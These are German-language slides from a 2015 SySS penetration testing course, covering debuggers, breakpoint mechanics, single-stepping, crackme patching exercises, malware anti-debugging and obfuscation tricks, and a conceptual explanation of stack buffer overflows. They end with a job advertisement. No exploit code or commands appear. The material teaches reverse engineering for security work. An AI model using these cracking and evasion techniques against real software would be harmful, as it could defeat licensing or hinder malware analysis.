Daniel Schalberger, SySS GmbH
267 März 2015 Penetration Testing
Debugger
• Ermöglicht Analyse zur Laufzeit
Vorteile:
• Bei statischer Analyse stehen nicht alle Informationen zur Verfügung (z.B. Laufzeit-Variablen)
• Statische Analyse nicht möglich (Self-Modifying Code / EXE-Packer)
Daniel Schalberger, SySS GmbH
268 März 2015 Penetration Testing
Typen von Debuggern
• Quelltext-Debugger • Assembler-Debugger
• Lokal • Remote
• Usermode • Kernelmode
Daniel Schalberger, SySS GmbH
269 März 2015 Penetration Testing
Funktionalität
• Programm jederzeit unterbrechen
• Haltepunkte setzen
• Programmzustand (Register, Speicher) ansehen und verändern
• Programm verändern (patchen)
• Einzelschrittausführung
• Automatisch Metainformationen anzeigen (z.B. Parameternamen bei Funktionsaufrufen)
Daniel Schalberger, SySS GmbH
270 März 2015 Penetration Testing
Debugging unter Windows
Die Win32-API unterstützt Debugging direkt • DebugActiveProcess: Debuggen starten • WaitForDebugEvent: Debug-Event abwarten • DebugBreakProcess: Prozess unterbrechen
Debug-Events können sein: CREATE_PROCESS_DEBUG_EVENT, CREATE_THREAD_DEBUG_EVENT, EXCEPTION_DEBUG_EVENT, EXIT_PROCESS_DEBUG_EVENT, EXIT_THREAD_DEBUG_EVENT, LOAD_DLL_DEBUG_EVENT, OUTPUT_DEBUG_STRING_EVENT, UNLOAD_DLL_DEBUG_EVENT
Daniel Schalberger, SySS GmbH
271 März 2015 Penetration Testing
Beispiel: EXCEPTION_DEBUG_EVENT
Event tritt auf, wenn im Programm eine Ausnahme (Exception) auftritt:
• Zugriffsverletzung
• Division durch 0
• Haltepunkt
Daniel Schalberger, SySS GmbH
272 März 2015 Penetration Testing
Software-Haltepunkte
Ermöglichen das Unterbrechen eines Programms an einer festgelegten Stelle
Erlauben das Überspringen von unwichtigen oder bekannten Programmteilen (z.B. Schleifen)
An der Haltepunkt-Position wird der Original-Maschinencode durch die Anweisung „int 3“ (Opcode \xCC) ersetzt
Bei Fortsetzung des Programms wird der Originalbefehl wiederhergestellt
Daniel Schalberger, SySS GmbH
273 März 2015 Penetration Testing
Hardware-Haltepunkte
• werden über spezielle Debug-Register implementiert
• Maximal 4 Haltepunkte möglich
• Programmcode bleibt unberührt
• Können auch auf Daten (lesen & schreiben) gesetzt werden
• Erleichtern das Auffinden relevanter Code-Teile
Daniel Schalberger, SySS GmbH
274 März 2015 Penetration Testing
Speicher-Haltepunkte
Einzelne Speicherseiten (4KB) können entsprechend markiert werden (Guard Page)
Der Debugger muss entscheiden, ob tatsächlich die gesuchte Adresse angesprochen wurde
Daniel Schalberger, SySS GmbH
275 März 2015 Penetration Testing
Einzelschritt-Ausführung
• Ausführen einer einzelnen Anweisung, dann Unterbrechung und Rückkehr zum Debugger
• Folgen von Funktions-Aufrufen („step into“)
• Wird implementiert über Trap-Flag (Teil des Flags-Registers)
Daniel Schalberger, SySS GmbH
276 März 2015 Penetration Testing
Prozedurschritt
Wird nicht nativ unterstützt
Simulation mit Hilfe von Software-Breakpoints
Ist nächste Anweisung ein call?
nein Einzelschritt
ja Haltepunkt dahinter setzen und normale Ausführung
Daniel Schalberger, SySS GmbH
277 März 2015 Penetration Testing
Übung: CrackmeX.exe
Crackme1.exe:
1. Passwort herausfinden
2. patchen
(Crackme2.exe: Key-Algorithmus in Erfahrung bringen)
Daniel Schalberger, SySS GmbH
278 März 2015 Penetration Testing
Anti-Debugging
Einige Programme (insbesondere Malware) wehren sich gegen dynamische Analyse. Möglichkeiten: • Win32-API-Aufruf IsDebuggerPresent • Win32-API-Aufruf CheckRemoteDebuggerPresent • Eigenen Code nach Haltepunkten scannen • Zeitnahme (Haltepunkte etc. ) • Win32-API-Aufruf FindWindow (suche nach Debug-
Fenster) • Programm debuggt sich selbst
Daniel Schalberger, SySS GmbH
279 März 2015 Penetration Testing
Obfuskierung
• String-Verschlüsselung (XOR, etc.)
• Junk Code Insertion
• Self-Modifying Code
• Unaligned Branches
Daniel Schalberger, SySS GmbH
280 März 2015 Penetration Testing
Optimierung
Lesbarkeit von Assemblercode wird durch Compiler-Optimierung reduziert:
• Eliminierung von ungenutzten Code-Zeilen • Verschachtelung von Codeblöcken (Parallelisierung) • Loop Unrolling • LEA, XOR, SHR • Vermeidung von bedingten Sprüngen • Register-Variablen • …
Daniel Schalberger, SySS GmbH
281 März 2015 Penetration Testing
Buffer Overflow
• Wenn zuviele Daten in eine lokale Stack-Variable
geschrieben werden, kommt es zur Überschreibung des Stack-Frame. Tritt z.B. auf bei: Eingaben aus Datei, über Netzwerk
• Rücksprungadresse wird überschrieben • Am Ende der Funktion wird an andere Adresse
zurückgesprungen • Manchmal ist es möglich, in den übermittelten Inhalt zu
springen Ausführung beliebigen Codes
Übung: Hello.exe
Daniel Schalberger, SySS GmbH
282 März 2015 Penetration Testing
Das wars.
Vielen Dank für Ihre Aufmerksamkeit!
Fragen: [email protected]
Daniel Schalberger, SySS GmbH
283 März 2015 Penetration Testing
DU LIEBST HACKEN? WIR AUCH!
Du
• hast keine Lust auf was Halbgares, sondern lässt dich auf deine Aufgabe ein
• hast eine Idee für eine spannende Abschlussarbeit im Bereich IT-Sicherheit
• möchtest dein Wissen beim Marktführer für Pentests einbringen
• suchst ein Unternehmen mit freundschaftlichem Arbeitsklima und
• stehst auf der guten Seite?
Wir bieten dir • die Betreuung deiner Abschlussarbeit • eine Festanstellung als IT Security Consultant Weitere Informationen: http://www.syss.de/karriere Sichere dir eine spannende Zukunft. Bewirb dich bei SySS! [email protected]
SySS GmbH Wohlboldstraße 8 72072 Tübingen Tel. +49 (0)7071-407856-77